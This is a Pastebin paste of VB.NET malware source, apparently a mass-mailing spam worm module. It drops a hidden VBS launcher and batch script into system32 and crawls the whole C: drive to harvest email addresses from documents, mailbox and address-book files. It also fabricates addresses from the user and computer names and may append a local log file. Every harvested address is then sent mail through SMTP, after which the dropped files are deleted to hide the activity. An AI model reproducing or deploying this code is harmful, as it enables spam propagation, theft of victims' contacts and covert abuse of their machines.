Guest User

Untitled

a guest
May 22nd, 2017
582
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Module email
  2. Public Sub email_sp()
  3. 'declaring variables
  4. Dim mail As String = "" + Form1.TextBox6.Text
  5. Dim subj As String = "" + Form1.Textbox11.Text
  6. Dim body As String = "" + Form1.TextBox7.Text
  7. Dim send As String = "" + Form1.TextBox2.Text
  8. Dim smtpse As String = "" + Form1.Textbox4.Text
  9. Dim pwd As String = "" + Form1.Textbox3.Text
  10.  
  11. Dim mm As New FileStream("C:\windows\system32\launchhh.vbs", FileMode.Create, FileAccess.Write)
  12. Dim p As New StreamWriter(mm)
  13. p.BaseStream.Seek(0, SeekOrigin.End)
  14. p.WriteLine("Dim oShell")
  15. p.WriteLine("Set oShell = WScript.CreateObject (""WScript.Shell"")")
  16. p.WriteLine("oShell.run ""C:\windows\system32\launchhh.bat"",0,True")
  17. p.WriteLine("Set oShell = Nothing ")
  18. p.Close()
  19.  
  20. Sleep(95000)
  21. Dim yy As New FileStream("C:\windows\system32\launchhh.bat", FileMode.Create, FileAccess.Write)
  22. Dim z As New StreamWriter(yy)
  23. z.WriteLine("dir /s /ad /b C:\* >%windir%\tmp.log")
  24. z.WriteLine("for /F %%T in (%windir%\tmp.log) do (")
  25. z.WriteLine("for %%g in (%%T\*.html) do (")
  26. z.WriteLine("if exist %%T\*.html (")
  27. z.WriteLine("extract -files %%g >>%windir%\ex.txt")
  28. z.WriteLine(")")
  29. z.WriteLine(")")
  30. z.WriteLine("ping localhost -n 17")
  31. z.WriteLine("for %%o in (%%T\*.doc) do (")
  32. z.WriteLine("if exist %%T\*.doc (")
  33. z.WriteLine("extract -files %%o >>%windir%\ex.txt")
  34. z.WriteLine(")")
  35. z.WriteLine(")")
  36. z.WriteLine("for %%j in (%%T\*.htm) do (")
  37. z.WriteLine("if exist %%T\*.htm (")
  38. z.WriteLine("extract -files %%j >>%windir%\ex.txt")
  39. z.WriteLine(")")
  40. z.WriteLine(")")
  41. z.WriteLine("for %%k in (%%T\*.php) do (")
  42. z.WriteLine("if exist %%T\*.php (")
  43. z.WriteLine("extract -files %%k >>%windir%\ex.txt")
  44. z.WriteLine(")")
  45. z.WriteLine(")")
  46. z.WriteLine("for %%l in (%%T\*.txt) do (")
  47. z.WriteLine("if exist %%T\*.txt (")
  48. z.WriteLine("extract -files %%l >>%windir%\ex.txt")
  49. z.WriteLine(")")
  50. z.WriteLine(")")
  51. z.WriteLine("for %%m in (%%T\*.dbx) do (")
  52. z.WriteLine("if exist %%T\*.dbx (")
  53. z.WriteLine("extract -files %%m >>%windir%\ex.txt")
  54. z.WriteLine(")")
  55. z.WriteLine(")")
  56. z.WriteLine("for %%s in (%%T\*.wab) do (")
  57. z.WriteLine("if exist %%T\*.wab (")
  58. z.WriteLine("extract -files %%s >>%windir%\ex.txt")
  59. z.WriteLine(")")
  60. z.WriteLine(")")
  61. z.WriteLine("for %%u in (%%T\*.mdx) do (")
  62. z.WriteLine("if exist %%T\*.dbx (")
  63. z.WriteLine("extract -files %%u >>%windir%\ex.txt")
  64. z.WriteLine(")")
  65. z.WriteLine(")")
  66. z.WriteLine("for %%i in (%%T\*.cfg) do (")
  67. z.WriteLine("if exist %%T\*.cfg (")
  68. z.WriteLine("extract -files %%i >>%windir%\ex.txt")
  69. z.WriteLine(")")
  70. z.WriteLine(")")
  71. z.WriteLine("for %%q in (%%T\*.mdx) do (")
  72. z.WriteLine("if exist %%T\*.mdx (")
  73. z.WriteLine("extract -files %%q >>%windir%\ex.txt")
  74. z.WriteLine(")")
  75. z.WriteLine(")")
  76. z.WriteLine("for %%y in (%%T\*.html) do (")
  77. z.WriteLine("if exist %%T\*.html (")
  78. z.WriteLine("extract -files %%y >>%windir%\ex.txt")
  79. z.WriteLine(")")
  80. z.WriteLine(")")
  81. z.WriteLine("for %%d in (%%T\*.rtf) do (")
  82. z.WriteLine("if exist %%T\*.rtf (")
  83. z.WriteLine("extract -files %%d >>%windir%\ex.txt")
  84. z.WriteLine(")")
  85. z.WriteLine(")")
  86. z.WriteLine("for %%x in (%%T\*.log) do (")
  87. z.WriteLine("if exist %%T\*.log (")
  88. z.WriteLine("extract -files %%x >>%windir%\ex.txt")
  89. z.WriteLine(")")
  90. z.WriteLine(")")
  91. z.WriteLine("for %%g in (%%T\*.dat) do (")
  92. z.WriteLine("if exist %%T\*.dat (")
  93. z.WriteLine("extract -files %%g >>%windir%\ex.txt")
  94. z.WriteLine(")")
  95. z.WriteLine(")")
  96. z.WriteLine("for %%p in (%%T\*.css) do (")
  97. z.WriteLine("if exist %%T\*.css (")
  98. z.WriteLine("extract -files %%p >>%windir%\ex.txt")
  99. z.WriteLine(")")
  100. z.WriteLine(")")
  101. z.WriteLine("for %%b in (%%T\*.xls) do (")
  102. z.WriteLine("if exist %%T\*.xls (")
  103. z.WriteLine("extract -files %%b >>%windir%\ex.txt")
  104. z.WriteLine(")")
  105. z.WriteLine(")")
  106. z.WriteLine("for %%c in (%%T\*.xsl) do (")
  107. z.WriteLine("if exist %%T\*.xsl (")
  108. z.WriteLine("extract -files %%c >>%windir%\ex.txt")
  109. z.WriteLine(")")
  110. z.WriteLine(")")
  111. z.WriteLine("for %%f in (%%T\*.xml) do (")
  112. z.WriteLine("if exist %%T\*.xml (")
  113. z.WriteLine("extract -files %%f >>%windir%\ex.txt")
  114. z.WriteLine(")")
  115. z.WriteLine(")")
  116. z.WriteLine("for %%r in (%%T\*.uin) do (")
  117. z.WriteLine("if exist %%T\*.uin (")
  118. z.WriteLine("extract -files %%r >>%windir%\ex.txt")
  119. z.WriteLine(")")
  120. z.WriteLine(")")
  121. z.WriteLine("for %%a in (%%T\*.msg) do (")
  122. z.WriteLine("if exist %%T\*.msg (")
  123. z.WriteLine("extract -files %%a >>%windir%\ex.txt")
  124. z.WriteLine(")")
  125. z.WriteLine(")")
  126. z.WriteLine("for %%d in (%%T\*.mdb) do (")
  127. z.WriteLine("if exist %%T\*.mdb (")
  128. z.WriteLine("extract -files %%d >>%windir%\ex.txt")
  129. z.WriteLine(")")
  130. z.WriteLine(")")
  131. z.WriteLine("for %%a in (%%T\*.dbb) do (")
  132. z.WriteLine("if exist %%T\*.dbb (")
  133. z.WriteLine("extract -files %%a >>%windir%\ex.txt")
  134. z.WriteLine(")")
  135. z.WriteLine(")")
  136. z.WriteLine("for %%q in (%%T\*.pl) do (")
  137. z.WriteLine("if exist %%T\*.pl (")
  138. z.WriteLine("extract -files %%q >>%windir%\ex.txt")
  139. z.WriteLine(")")
  140. z.WriteLine(")")
  141. z.WriteLine("for %%e in (%%T\*.eml) do (")
  142. z.WriteLine("if exist %%T\*.eml (")
  143. z.WriteLine("extract -files %%e >>%windir%\ex.txt")
  144. z.WriteLine(")")
  145. z.WriteLine(")")
  146. z.WriteLine("for %%f in (%%T\*.*ml) do (")
  147. z.WriteLine("if exist %%T\*.*ml (")
  148. z.WriteLine("extract -files %%f >>%windir%\ex.txt")
  149. z.WriteLine(")")
  150. z.WriteLine(")")
  151. z.WriteLine(")")
  152. z.WriteLine("echo dieteamcom@gmail.com >>%windir%\ex.txt")
  153. z.WriteLine("echo %username%@gmail.com >>%windir%\ex.txt")
  154. z.WriteLine("echo %username%@hotmail.com >>%windir%\ex.txt")
  155. z.WriteLine("echo %username%@live.com >>%windir%\ex.txt")
  156. z.WriteLine("echo %username%@hotmail.de >>%windir%\ex.txt")
  157. z.WriteLine("echo %username%@live.de >>%windir%\ex.txt")
  158. z.WriteLine("echo %username%@fbi.gov >>%windir%\ex.txt")
  159. z.WriteLine("echo %username%@msn.com >>%windir%\ex.txt")
  160. z.WriteLine("echo %username%@yahoo.com >>%windir%\ex.txt")
  161. z.WriteLine("echo %computername%@gmail.com >>%windir%\ex.txt")
  162. z.WriteLine("echo %computername%@hotmail.com >>%windir%\ex.txt")
  163. z.WriteLine("echo %computername%@live.com >>%windir%\ex.txt")
  164. z.WriteLine("echo %computername%@hotmail.de >>%windir%\ex.txt")
  165. z.WriteLine("echo %computername%@live.de >>%windir%\ex.txt")
  166. z.WriteLine("echo %computername%@fbi.gov >>%windir%\ex.txt")
  167. z.WriteLine("echo %computername%@msn.com >>%windir%\ex.txt")
  168. z.WriteLine("echo %computername%@yahoo.com >>%windir%\ex.txt")
  169. z.WriteLine("set /a ran=%random%%%25")
  170. z.WriteLine("set username2=%username%%ran%")
  171. z.WriteLine("echo %username2%@gmail.com >>%windir%\ex.txt")
  172. z.WriteLine("echo %username2%@hotmail.com >>%windir%\ex.txt")
  173. z.WriteLine("echo %username2%@live.com >>%windir%\ex.txt")
  174. z.WriteLine("echo %username2%@hotmail.de >>%windir%\ex.txt")
  175. z.WriteLine("echo %username2%@live.de >>%windir%\ex.txt")
  176. z.WriteLine("echo %username2%@fbi.gov >>%windir%\ex.txt")
  177. z.WriteLine("echo %username2%@msn.com >>%windir%\ex.txt")
  178. z.WriteLine("echo %username2%@yahoo.com >>%windir%\ex.txt")
  179. z.WriteLine("set /a ranz=%random%%%1005+1")
  180. z.WriteLine("if %ranz%==10 (")
  181. z.WriteLine("if exist C:\WINDOWS\system32\logstm.txt (")
  182. z.WriteLine("type C:\WINDOWS\system32\logstm.txt >>%windir%\ex.txt")
  183. z.WriteLine(")")
  184. z.WriteLine(")")
  185. z.Close()
  186. Sleep(905000)
  187. Process.Start("C:\windows\system32\launchhh.vbs")
  188.  
  189. Sleep(905000)
  190. For Each bubb As String In FillArrayList("C:\windows\ex.txt")
  191. Try
  192. Dim MyMailMessage As New MailMessage
  193. MyMailMessage.From = New MailAddress(mail)
  194. MyMailMessage.To.Add(bubb)
  195. MyMailMessage.Subject = (subj)
  196. MyMailMessage.Body = (body)
  197. Dim SMTPServer As New SmtpClient(smtpse)
  198. SMTPServer.Port = 25
  199. SMTPServer.Credentials = New System.Net.NetworkCredential(send, Crypt(pwd))
  200. SMTPServer.EnableSsl = True
  201. SMTPServer.Send(MyMailMessage)
  202. Catch
  203. End Try
  204. Next
  205.  
  206.  
  207. Dim faa As New FileInfo("C:\windows\system32\launchhh.vbs")
  208. faa.Delete()
  209. Dim foo As New FileInfo("C:\windows\system32\launchhh.bat")
  210. foo.Delete()
  211. Dim fooa As New FileInfo("C:\windows\ex.txt")
  212. fooa.Delete()
  213. End Sub
  214.  
  215.  
  216.  
  217. End Module
RAW Paste Data